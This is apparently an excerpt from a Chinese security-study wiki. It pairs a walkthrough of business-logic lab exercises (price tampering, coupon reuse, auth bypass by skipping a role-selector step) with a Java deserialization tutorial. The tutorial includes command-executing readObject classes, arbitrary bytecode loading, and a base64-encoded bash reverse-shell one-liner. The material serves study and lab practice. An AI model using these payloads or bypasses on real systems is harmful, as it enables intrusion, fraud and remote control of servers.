input 异常输入的不一致处理 Weak isolation on dual-use endpoint 两用端点上的弱隔离 Insufficient workflow validation 工作流验证不足 Authentication bypass via flawed state machine 通过有缺陷的状态机绕过认证 Infinite money logic flaw 无限金钱逻辑缺陷 Authentication bypass via encryption oracle 通过加密oracle绕过身份验证 三、靶场实践1、Excessive trust in client-side controls(过度信任客户端控件) 用户可控数据:一个根本性的错误假设是用户将只通过提供的Web界面与应用程序交互,导致进一步假设客户端验证将防止用户提供恶意输入.但攻击者可以简单地使用Burp Proxy等工具,在浏览器发送数据之后、传递到服务器端逻辑之前篡改数据.这实际上使客户端控件变得无用 数据完整性检测:如果只接受数据的表面价值,而不执行适当的完整性检查和服务器端验证,攻击者就可以以相对最小的努力进行各种破坏.它们能够实现的具体效果取决于功能以及它对可控数据所做的操作.在适当的情况下,这种缺陷可能会对业务相关功能和网站本身的安全性造成破坏性后果. 然后我们查看一下HTPTP历史,寻找具有支付信息的数据包 然后我们将这个数据包发送给repeater(也就是重发器) 发送到重发器后进行更改金额 关闭代理刷新一下,然后看一下刷新后的页面 点击支付后,这个靶场就会显示通关 2、High-level logic vulnerability(高级逻辑漏洞) 抓一个发现没有价格金额这个参数 但是我们发现这个数目可以是负数,那我们就试一下是否可以增加其他的商品,试一下是否可以将他们的数目更改为负数. 然后我们进行抓包,查看是否能更改数目为负数 但是我们的余额为100,所以还得继续增加负数,直到价格合适 成功 3、Inconsistent security controls(不一致的安全控制) 然后登录的时候发现还是不行,那就看一下页面中的其他信息,其中EMAIl client 然后我们重新注册一下 重新到email client中 发现注册成功 删除后发现成功了 4、Flawed enforcement of business rules(商业规则的执行有缺陷)这里其实是一个优惠卷重复使用 发现弹窗 但是总体价格还是不够,尝试一下能不能再重复利用一下 发现只能交替使用 5、Low-level logic flaw(低级逻辑缺陷) 修改数值为99(100和负数不行),并发送,这里不使用负载相当于重放攻击 接下来添加另一个商品,将总金额控制在100一下 价格上可以进行改动一下 6、Inconsistent handling of exceptional input(异常输入的不一致处理)7、Weak isolation on dual-use endpoint(两用端点上的弱隔离)登录我们自己的账号后出现以下页面 我们可以尝试对账号密码进行修改,是否可以修改其他人的账号密码,先抓个包测试一下 删除后发现修改成功 我们继续尝试修改username为administrator 修改成功,我们用这个账号重新登录 然后删除,修改成功 8、Insufficient workflow validation(工作流验证不足)这里我们先随便买一个在100刀以内的商品,看一下流程 现在我们买皮夹克,虽然价格不够,但是我们再观察观察 抓个包分析一下 跟上面的数据包对比一下,发现POST和GET传的不一样,我们修改一下,尝试一下 一直放包,可以购买成功 9、Authentication bypass via flawed state machine(通过有缺陷的状态机绕过认证)先按照自己的账号登录一下 发现这里有个身份的选择 抓个包看一下 对比一下,发现好像没啥区别,但是我们尝试一下删除/role-selector直接访问首页,因为跳过了角色选择默认为administrator当访问首页是以administrator权限进行访问的因此会有Admin panel,再登录页面登录,我们再废掉这个身份选择这个数据包 删除rola-selector这个路径 发现出现amin panel这个页面 10、Infinite money logic flaw(无限金钱逻辑缺陷) 获得优惠卷 使用优惠券购买Gift Card礼品卡(礼品卡相当于一个10元的购物券可以赠送),当用3元优惠券购买10元的礼品卡,就相当于7元购买了10元然后再进行使用用户的余额就会多了3元将优惠券金额转换为真实的余额. 如果优惠券可以重复使用,就可以利用该操作达到无限金额的效果,成功复用优惠券,接下来就用bp的宏指令 找到以下几个页面 继续给第五个配置项目 线程设置为1 11、Authentication bypass via encryption oracle(通过加密oracle绕过身份验证)"},{"title":"十五. Java反序列化","path":"/wiki/VulnerabilityInsightDocs/十五. Java反序列化.html","content":"总字符数: 43.29K 代码: 22.57K, 文本: 7.76K 预计阅读时间: 2.20 小时 什么是序列化和反序列化 在编程语言的世界当中,常常有这样的需求,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中.为了满足这种需求,就有了所谓的序列化和反序列化 序列化:将内存中的某个对象压缩成字节流的形式 反序列化:将字节流转化成内存中的对象 为什么会产生安全问题? 只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力. 可能的形式 入口类的readObject直接调用危险方法 入口类参数中包含可控类,该类有危险方法,readObject时调用 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用 比如类型定义为Object,调用equals/hashcode/toString相同类型 同名函数 构造函数/静态代码块等类加载时隐式执行 JAVA原生反序列化漏洞成因 Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码 Java序列化和反序列化基础需要跳出PHP反序列化的思想在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流序列化/反序列化是一种思想,并不局限于其实现的形式如: JAVA内置的writeObject()/readObject() JAVA内置的XMLDecoder()/XMLEncoder XStream SnakeYaml FastJson Jackson 出现过漏洞的组件 Apache Shiro Apache Axis Weblogic Jboss Fastjson Java中的命令执行 12345678910public static void main() throws Exception{ Runtime.getRuntime().exec("calc"); /* Java中执行系统命令使用java.lang.Runtime类的exec方法 以上函数可以弹出计算器 getRuntime()是Runtime类中的静态方法,使用此方法获取当前java程序的Runtime(即运行时:计算机程序运行需要的代码库,框架,平台等) exec底层为ProcessBuilder:此类用于创建操作系统进程 每个ProcessBuilder实例管理进程属性的集合. start()方法使用这些属性创建一个新的Process实例. start()方法可以从同一实例重复调用,以创建具有相同或相关属性的新子进程. */} 注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持 1bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i} 编写一个可以序列化的类在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364/* * @Author: Kill3r * @Date: 2022-10-03 15:57:25 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 14:25:05 * @Description: 请填写简介 */package serializable;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;/* * implements Serializable:序列化的前提,需要实现这个接口 * Serializable:表示这个类的成员可以被序列化 */public class Person implements Serializable { private static final long serialVersionUID = 1L; // 添加一个 transient 关键字,则name属性不会被序列化和反序列化 // 如果将属性设置为static,同样不会被序列化和反序列化 // private transient String name; public String name; private int age; public Person(){ } public Person(String name, int age) { this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以),不过写上有如下好处: * 1. 可以当注释用,方便阅读 * 2. 编译器可以给你验证@Override下面的方法名是否是你父类中所有的,如果没有则报错 * 比如你如果没写@Override而你下面的方法名又写错了,这时你的编译器是可以通过的(它以为这个方法是你的子类中自己增加的方法) * 使用该标记是为了增强程序在编译时候的检查,如果该方法并不是一个覆盖父类的方法,在编译时编译器就会报告错误 */ @Override public String toString() { return "Person{" + "name='" + name + '\\'' + ",age=" + age + '}'; } private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException { /* * java.io.ObjectInputStream.defaultReadObject() * 方法用于从这个ObjectInputStream读取当前类的非静态和非瞬态字段.它间接地涉及到该类的readObject()方法的帮助. * 如果它被调用,则会抛出NotActiveException */ objectInputStream.defaultReadObject(); /* * 每个Java应用程序都有一个Runtime类的Runtime ,允许应用程序与运行应用程序的环境进行接口.当前运行时可以从getRuntime方法获得. */ /* * exec:在具有指定环境的单独进程中执行指定的字符串命令. * 这是一种方便的方法. 调用表单exec(command, envp)的行为方式与调用exec(command, envp, null)完全相同 . */ Runtime.getRuntime().exec("calc"); }} 我们跟进java.io.Serializable接口,发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了 12public interface Serializable{} 如何序列化类Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可 12345678910111213141516171819202122232425262728293031323334353637383940/* * @Author: Kill3r * @Date: 2022-10-03 15:56:26 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 10:19:15 * @Description: 请填写简介 */package serializable;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;public class Serializable { public static void serializable(Object person) throws IOException { /* * ObjectOutputStream将Java对象的原始数据类型和图形写入OutputStream.可以使用ObjectInputStream读取(重构) * 对象.可以通过使用流的文件来实现对象的持久存储.如果流是网络套接字流,则可以在另一个主机上或另一个进程中重构对象. */ /* * 文件输出流是用于将数据写入到输出流File或一个FileDescriptor * .文件是否可用或可能被创建取决于底层平台.特别是某些平台允许一次只能打开一个文件来写入一个FileOutputStream * (或其他文件写入对象).在这种情况下,如果所涉及的文件已经打开,则此类中的构造函数将失败. * FileOutputStream用于写入诸如图像数据的原始字节流. 对于写入字符流,请考虑使用FileWriter . */ // 序列化的类 ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("ser.ser")); /* * 方法writeObject用于将一个对象写入流中. 任何对象,包括字符串和数组,都是用writeObject编写的. 多个对象或原语可以写入流. * 必须从对应的ObjectInputstream读取对象,其类型和写入次序相同. */ // 需要序列化的对象是谁? obj.writeObject(person); obj.close(); } public static void main(String[] args) throws Exception{ Person person = new Person("JiangJiYue", 22); serializable(person); }} 跟进writeObject函数,我们通过阅读他的注释可知:在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口) 如何反序列化类序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.我们在之前重写了readObject方法,所以会执行命令 123456789101112131415161718192021222324252627282930313233343536373839/* * @Author: Kill3r * @Date: 2022-10-03 15:57:52 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 10:23:07 * @Description: 请填写简介 */package serializable;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class Unserializable { public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { /* * ObjectInputStream反序列化先前使用ObjectOutputStream编写的原始数据和对象. * ObjectOutputStream和ObjectInputStream可以分别为与FileOutputStream和FileInputStream一起使用的对象图提供持久性存储的应用程序. * ObjectInputStream用于恢复先前序列化的对象. 其他用途包括使用套接字流在主机之间传递对象,或者在远程通信系统中进行封送和解组参数和参数. * ObjectInputStream确保从流中创建的图中的所有对象的类型与Java虚拟机中存在的类匹配. 根据需要使用标准机制加载类. * 只能从流中读取支持java.io.Serializable或java.io.Externalizable接口的对象. */ // 反序列化的类 ObjectInputStream ins = new ObjectInputStream((new FileInputStream(Filename))); /* * 方法readObject用于从流中读取对象. 应使用Java的安全铸造来获得所需的类型. 在Java中,字符串和数组是对象,在序列化过程中被视为对象. * 读取时,需要将其转换为预期类型. */ // 读出来并反序列化 Object obj = ins.readObject(); ins.close(); return obj; } public static void main(String[] args) throws Exception { Person person = (Person) unserialize("ser.ser"); System.out.println(person); }} 其实反序列化的实现就是序列化的逆过程,会根据序列化读出数据的类型,进行相应的处理 serialVersionUID 序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套 同样在Java中与协议相对的概念为:serialVersionUID 当serialVersionUID不一致时,反序列化会直接抛出异常 比如设置为1L时序列化,修改为2L时反序列化,则会抛出异常 跟进代码可以发现,针对序列化数据中的serialVersionUID和实际获取到类的serialVersionUID进行了判断,如果不相等则抛出异常 Java反射 将类的各个组成部分封装为其他对象,这就是反射机制 反射的作用 让Java具有动态性 修改已有对象的属性 动态生成对象 动态调用方法 操作内部类和私有方法 解耦,提高程序的可扩展性 在反序列化漏洞中的应用 定制需要的对象 通过invoke调用除了同名函数以外的函数 通过Class类创建对象,引入不能序列化的类 获取字节码Class对象的三种方式 Source源代码阶段:Class.forName("全类名"); 将字节码文件加载进内存,返回Class对象多用于配置文件,可以将类名定义在配置文件中,读取文件,加载类 Class类对象阶段:类名.class 通过类名的属性class来获取多用于参数的传递 Runtime运行时阶段:对象.getClass getClass()方法在Object类中定义着多用于对象的获取字节码的方式 *同一个字节码文件(.class)在一次程序运行过程中,只会被加载一次,不论通过哪一种方式获取的Class对象都是同一个 ** Class对象Field获取成员变量们 Field[] fields = getFields()获取所有public修饰的成员变量 Field field = getField(String name)获取所有public修饰的成员变量 Field[] fields = getDeclaredFields()获取所有的成员变量 Field field = getDeclaredField(String name)获取所有的成员变量 操作 获取值:get(Object obj) 12345678910111213141516171819package serializable;import java.lang.reflect.Constructor;import java.lang.reflect.Field;public class ReflectionTest { public static void main(String[] args) throws Exception { Class cls = Class.forName("serializable.Person"); //当我不想 newInstance初始化的时候执行空参数的构造函数的时候 //可以通过字节码文件对象方式 getConstructor(paramterTypes) 获取到该构造函数 //获取到Person(String name,int age) 构造函数 // 从class里面实例化对象 Constructor personconstructor = cls.getConstructor(String.class,int.class); //通过构造器对象 newInstance 方法对对象进行初始化 有参数构造函数 Person p = (Person) personconstructor.newInstance("abc",22); Field name = cls.getField("name"); System.out.println(name.get(p)); }} 私有的会访问异常,需要在访问之前忽略访问权限修饰符的安全检查 1234Field age = cls.getDeclaredField("age");// 忽略安全检查又称为暴力反射age.setAccessible(true);System.out.println(age.get(p)); 设置值:void set(Object obj,Object value) 12name.set(p,"张三");System.out.println(p); Constructor获取构造方法们 Constructor<?>[] = getConstructors() Constructor<T> = getConstructor(类<?>...parameterTypes) Constructor:构造方法 newInstance(Object... initargs):创建对象Person p = (Person) personconstructor.newInstance("abc",22); 12Constructor personconstructor = cls.getConstructor(String.class,int.class);System.out.println(personconstructor); 如果使用空参构造方法创建对象,操作可以简化:Class对象的newInstance 123Class cls = Class.forName("serializable.Person");Object o = cls.newInstance();System.out.println(o); Constructor<?>[] = getDeclaredConstructors() Constructor<T> = getDeclaredConstructor(类<?>...parameterTypes) Method获取成员方法们 Method[] = getMethods() Method = getMethod(类<?>...parameterTypes) 123456Class cls = Class.forName("serializable.Person");// 获取指定名称Method eat_method = cls.getMethod("eat");Object p = cls.newInstance();// 执行方法eat_method.invoke(p); Method[] = getDeclaredMethods() Method = getDeclaredMethod(类<?>...parameterTypes) 获取方法名称:String getName 12345Class cls = Class.forName("serializable.Person");Method[] methods = cls.getMethods();for (Method method:methods){ System.out.println(method.getName());} 获取类名 String name = getName() 123Class cls = Class.forName("serializable.Person");String className = cls.getName();System.out.println(className); 案例 写一个”框架”,可以帮我们创建任意类的对象,并且执行其中任意方法 123456789101112131415161718192021222324252627282930313233343536373839404142434445/* * @Author: Kill3r * @Date: 2022-10-04 14:11:43 * @LastEditors: Kill3r * @LastEditTime: 2022-10-04 16:08:53 * @Description: 请填写简介 */package serializable;import java.io.InputStream;import java.lang.reflect.Method;import java.util.Properties;public class ReflectionTest { public static void main(String[] args) throws Exception { /* * 前提:不能改变该类的任何代码,可以创建任意类的对象,可以执行任意方法 * 步骤: * 1. 将需要创建的对象的全类名和需要执行的方法定义在配置文件中 * 2. 在程序中加载读取配置文件 * 3. 使用反射技术来加载类文件进内存 * 4. 创建对象 * 5. 执行方法 * */ // 1.1创建Properties对象 Properties pro = new Properties(); // 1.2加载配置文件,转换为一个集合 // 1.2.1获取class目录下的配置文件 ClassLoader classLoader = ReflectionTest.class.getClassLoader(); InputStream is = classLoader.getResourceAsStream("serializable/pro.properties"); pro.load(is); // 2.获取配置文件中定义的数据 String className = pro.getProperty("className"); String methodName = pro.getProperty("methodName"); // 3.加载该类进内存 Class cls = Class.forName(className); // 4.创建对象 Object obj = cls.newInstance(); // 5.获取方法对象 Method method = cls.getMethod(methodName); // 6.执行方法 method.invoke(obj); }} pro.properties: 12className=serializable.PersonmethodName=eat Java代理 定义:为其他对象提供一种代理以控制对这个对象的访问 代理模式是一种设计模式,可以在不修改被代理对象的基础上,通过扩展代理类,进行一些功能的附加与增强,之得注意的是:代理类和被代理类应该共同实现一个接口,或者是共同继承某个类 优点: 职责清晰 高扩展,只要实现了接口,都可以使用代理 智能化,动态代理、 分类 静态代理 动态代理 代理常用与记录日志的环境,比如在代理中实现各种日志的记录 静态代理我们现在有一个接口:IUser``IUser.java: 123456789101112/* * @Author: Kill3r * @Date: 2022-10-11 19:40:35 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:40:36 * @Description: 请填写简介 */package java_proxy;public interface IUser { void show();} 然后Userlmpl.java实现这个接口 12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-11 19:42:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */package java_proxy;public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); }} 假设我们现在要做一件事,就是在所有的实现类调用show()后增加一行输出调用了UserProxy中的show,那我们只需要编写代理类UserProxy 123456789101112131415161718192021222324/* * @Author: Kill3r * @Date: 2022-10-11 19:45:45 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:46:53 * @Description: 请填写简介 */package java_proxy;public class UserProxy implements IUser{ IUser user; public UserProxy() { } public UserProxy(IUser user) { this.user = user; } @Override public void show() { user.show(); System.out.println("调用了UserProxy中的show"); }} ProxyTest.java 123456789101112131415161718192021/* * @Author: Kill3r * @Date: 2022-10-11 19:44:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 静态代理 IUser userProxy = new UserProxy(user); userProxy.show(); }} 这种模式虽然好理解,但是缺点也很明显: 会存在大量的冗余的代理类,这里演示了1个接口,如果有10个接口,就必须定义10个代理类. 不易维护,一旦接口更改,代理类和目标类都需要更改. 动态代理 JDK动态代理,通俗点说就是:无需声明式的创建java代理类,而是在运行过程中生成”虚拟”的代理类,被ClassLoader加载.从而避免了静态代理那样需要声明大量的代理类. JDK从1.3版本就开始支持动态代理类的创建.主要核心类只有2个:java.lang.reflect.Proxy和java.lang.reflect.InvocationHandler. JDK动态代理采用接口代理的模式,代理对象只能赋值给接口,允许多个接口 还是前面那个例子,用动态代理类去实现的代码如下:Userlmpl.java 12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-11 19:42:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 19:43:35 * @Description: 请填写简介 */package java_proxy;public class Userlmpl implements IUser{ public Userlmpl() { } @Override // @Override是伪代码,表示重写 public void show() { System.out.println("展示"); }} UserInvocationHandler.java 12345678910111213141516171819202122232425262728/* * @Author: Kill3r * @Date: 2022-10-11 20:21:22 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:27:17 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;public class UserInvocationHandler implements InvocationHandler { IUser user; public UserInvocationHandler() { } public UserInvocationHandler(IUser user) { this.user = user; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("调用了UserInvocationHandler中的show"); method.invoke(user, args); return null; }} ProxyTest.java 123456789101112131415161718192021222324/* * @Author: Kill3r * @Date: 2022-10-11 19:44:01 * @LastEditors: Kill3r * @LastEditTime: 2022-10-11 20:25:55 * @Description: 请填写简介 */package java_proxy;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;public class ProxyTest { public static void main(String[] args) { IUser user = new Userlmpl(); // 动态代理 InvocationHandler userinvhandler = new UserInvocationHandler(user); // 要代理的接口、类加载器,classloader、要做的事情、 IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userinvhandler); userProxy.show(); }} Java类的动态加载 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载,即虚拟机加载.class文件.什么时候虚拟机需要开始加载一个类呢?虚拟机对此没有规范约束,交给虚拟机把握. 类加载的时候会执行代码 初始化:静态代码块 实例化:构造代码块、无参数构造函数 Javac原理javac是用于将源码文件.java编译成对应的字节码文件.class.其步骤是:源码–>词法分析器组件(生成token流)–>语法分析器组件(语法树)–>语义分析器组件(注解语法树)–>代码生成器组件(字节码) 类加载过程先在方法区找class信息,有的话直接调用,没有的话则使用类加载器加载到方法区(静态成员放在静态区,非静态成功放在非静态区),静态代码块在类加载时自动执行代码,非静态的不执行;先父类后子类,先静态后非静态;静态方法和非静态方法都是被动调用,即不调用就不执行. 类加载的流程图 12345678910111213141516171819202122232425262728293031323334353637383940414243444546/* * @Author: Kill3r * @Date: 2022-10-12 12:18:17 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 12:25:28 * @Description: 请填写简介 */package load_class;public class Person { public String name; private int age; static { System.out.println("静态代码块"); } public static void staticAction() { System.out.println("静态方法"); } { System.out.println("构造代码块"); } public Person(){ System.out.println("无参Person"); } public Person(String name, int age) { System.out.println("有参Person"); this.name = name; this.age = age; } /* * @Override是Java5的元数据,自动加上去的一个标志,告诉你说下面这个方法是从父类/接口 * 继承过来的,需要你重写一次,这样就可以方便你阅读,也不怕会忘记 * @Override是伪代码,表示重写(当然不写也可以), */ @Override public String toString() { return "Person{" + "name='" + name + '\\'' + ",age=" + age + '}'; } private void action(String act){System.out.println(act);}} 动态类加载方法类加载可以加载任意方法,但是反射只能反射公共的 Class.forname12345678package load_class;public class LoadClass { public static void main(String[] args) throws Exception{ // 动态加载进行了初始化的操作 Class.forName("load_class.Person"); }} 12345678910111213141516171819202122/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 14:37:34 * @Description: 请填写简介 */package load_class;public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 第一个参数类名 // 第二个参数是不进行初始化 // 第四个参数是forName0的,所以在这不用写 // 这种都是可以正常实例化的 Class<?> c = Class.forName("load_class.Person", false, cs); // 正常的实例化 c.newInstance(); }} ClassLoader12345678910111213141516171819/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-12 14:40:27 * @Description: 请填写简介 */package load_class;public class LoadClass { public static void main(String[] args) throws Exception { // ClassLoader是一个抽象类,不能被实例化,但是提供了一个静态方法,获取当前系统的类加载器 ClassLoader cs = ClassLoader.getSystemClassLoader(); // 打印ClassLoader,看一下是什么 // result:sun.misc.Launcher$AppClassLoader@73d16e93 // 他是Launcher里面的一个内部类,叫做AppClassLoader System.out.println(cs); }} 漏洞利用相关类URLClassLoaderURLClassLoader:输入一个URL,从URL内加载一个类出来 构造一个恶意类 1234567891011import java.io.IOException;public class Hello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } }} javac .\\Hello.java然后将Hello.java删除或者移动到其他目录 编译动态加载类 defineClassdefineClass是一个protected,所以只能通过反射调用,字节码任意加载类构造恶意类:Hello.java 1234567891011121314/* * @Author: Kill3r * @Date: 2022-10-12 22:43:33 * @LastEditors: Kill3r * @LastEditTime: 2022-10-13 08:27:39 * @Description: 请填写简介 */package load_class;public class Hello { public Hello() throws Exception{ Runtime.getRuntime().exec("calc"); }} 动态加载:LoadClass.java 123456ClassLoader cl = ClassLoader.getSystemClassLoader();Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",String.class, byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("D:\\\\LearningWorld\\\\PersonalProject\\\\PersonalProject\\\\Java\\\\基础语法\\\\src\\\\load_class\\\\Hello.class"));Class c = (Class) defineClassMethod.invoke(cl,"load_class.Hello",code,0,code.length);c.newInstance(); UnsafeUnsafe中也含有defineClass字节码任意加载类 123456789101112131415161718192021222324252627282930313233/* * @Author: Kill3r * @Date: 2022-10-12 12:17:50 * @LastEditors: Kill3r * @LastEditTime: 2022-10-13 20:19:06 * @Description: 请填写简介 */package load_class;import sun.misc.Launcher;import sun.misc.Unsafe;import java.io.File;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.nio.file.Files;import java.nio.file.Paths;public class LoadClass { public static void main(String[] args) throws Exception { ClassLoader cl = ClassLoader.getSystemClassLoader(); byte[] code = Files.readAllBytes(Paths .get("D:\\\\LearningWorld\\\\PersonalProject\\\\PersonalProject\\\\Java\\\\基础语法\\\\src\\\\load_class\\\\Hello.class")); Class c = Unsafe.class; Field theUnsafeField = c.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafeField.get(null); Class c2 = unsafe.defineClass("load_class.Hello", code, 0, code.length, cl, null); c2.newInstance(); }} Map集合集合又称容器,是Java中对数据结构(数据存储方式)的具体实现我们可以利用集合存放数据,也可对集合进行新增、删除、修改、查看等操作集合中数据都是在内存中,当程序关闭或重启后集合中数据会丢失\t.所以集合是一种临时存储数据的容器 Map集合类型 Map 特点 Map集合是一个双列集合,一个元素包含两个值(一个key,一个value) Map集合中的元素,key和value的数据类型可以相同,也可以不同 Map集合中的元素,key是不允许重复的,value是可以重复的 Map集合中的元素,key和value是一一对应的 HashMap 采用Hashtable哈希表存储结构(神奇的结构) 优点:添加速度快、查询速度快、删除速度快 缺点:key无序 LinkedHashMap 采用哈希表存储结构,同时使用链表维护次序 key有序(添加顺序) TreeMap 采用二叉树(红黑树)的存储结构 优点:key有序 查询速度比List快(按照内容查询) 缺点:查询速度没有HashMap快 Map接口 接口Map是独立的接口,和Collection没有关系Map中每个元素都是Entry类型,每个元素都包含Key(键)和Value(值) 继承关系Ctrl+H 包含的APIAlt+7 Map使用123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103/** @Author: Kill3r* @Date: 2022-10-16 20:33:43* @LastEditors: Kill3r* @LastEditTime: 2022-10-16 22:34:09* @Description: 请填写简介*/package java_Map;import java.util.*;public class TestMap { public static void main(String[] args) { // Student stu1 = new Student(1, "张三", 22); // Student stu2 = new Student(2, "李四", 28); // Student stu3 = new Student(3, "王五", 24); // Student stu4 = new Student(4, "赵六", 21); // Student stu5 = new Student(5, "刘琦", 18); // // Map<Integer, Student> map = new HashMap<>(); // map.put(stu1.getId(), stu1); // map.put(stu2.getId(), stu2); // map.put(stu3.getId(), stu3); // map.put(stu4.getId(), stu4); // map.put(stu5.getId(), stu5); // // 该代码允许用户从System.in读取一个数字 // Scanner sc = new Scanner(System.in); // // 提示文字 // System.out.println("请输入学生的编号:"); // // 该代码允许用户从System.in读取一个数字 // int id = sc.nextInt(); // sc.close(); // // map.get()通过key取值 // System.out.println(map.get(id)); Map<Integer, String> map = new HashMap<>(); // Map集合添加元素 k v map.put(1, "北京"); map.put(2, "山东"); map.put(3, "河南"); map.put(4, "河北"); // 根据Key获取对应的值 System.out.println(map.get(1)); // 根据Map的key进行元素的移除 如果元素不存在返回是null 否则返回移除对象的value String s = map.remove(1); System.out.println(s); // 根据 k v 同时移除内容 返回值是布尔类型 System.out.println(map.remove(2, "山东")); // 元素的替换 System.out.println(map.replace(3, "天津")); // 替换成功返回Bool System.out.println(map.replace(4, "河北", "山西")); System.out.println(map.get(4)); System.out.println(map); // 清空map集合内容 k v 都清空 map.clear(); System.out.println(map); System.out.println("--------HashMap保存值情况--------"); map.put(1, "北京1"); // HashMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 System.out.println(map); // hash表中是允许Kev保存空对象 map.put(null, "空"); System.out.println(map); System.out.println("--------TreeMap保存值情况--------"); Map<Integer, String> map2 = new TreeMap<>(); map2.put(1, "北京"); map2.put(2, "北京2"); // TreeMap中如果k相同了 后者的v就会把前者相同的k的v进行覆盖 map2.put(1, "北京3"); // Tree中不允许Kev保存空值,否则出错(源码中没有对null进行处理) // map2.put(null, "空"); System.out.println(map2); System.out.println("--------Map3集合的遍历--------"); Map<Integer, String> map3 = new HashMap<>(); map3.put(1, "北京"); map3.put(2, "山东"); map3.put(3, "河南"); map3.put(4, "河北"); // 当前遍历的方式 // 获得map集合中当前所有的key System.out.println("遍历方法一:"); Set<Integer> keySet = map3.keySet(); for (Integer key : keySet) { System.out.println(key+"----"+map3.get(key)); } // 直接获得map集合的value System.out.println("遍历方法二:"); Collection<String> values = map3.values(); for (String value : values) { System.out.println(value); } System.out.println("遍历方法三:"); Set<Map.Entry<Integer, String>> entrySet= map3.entrySet(); for (Map.Entry<Integer, String> entry : entrySet) { System.out.println(entry.getKey()+"----"+entry.getValue()); } } } Entry键值对对象我们已经知道,Map中存放的是两种对象,一种称为key(键),一种称为value(值),它们在Map中是一对应关系,这一对对象又称做Map中的一个Entry(项).Entry 将键值对的对应关系封装成了对象.即键值对对象,这样我们在遍历Map集合时,就可以从每一个键值对 ( Entry ) 对象中获取对应的键与对应的值既然Entry表示了一对键和值,那么也同样提供了获取对应键和对应值得方法: public K getKey():获取Entry对象中的键 public V getValue():获取Entry对象中的值 在Map集合中也提供了获取所有Entry对象的方法: public Set<Map.Entry<K,V>> entrySet():获取到Map集合中所有的键值对对象的集合(Set集合) 设定值 setValue(V value) 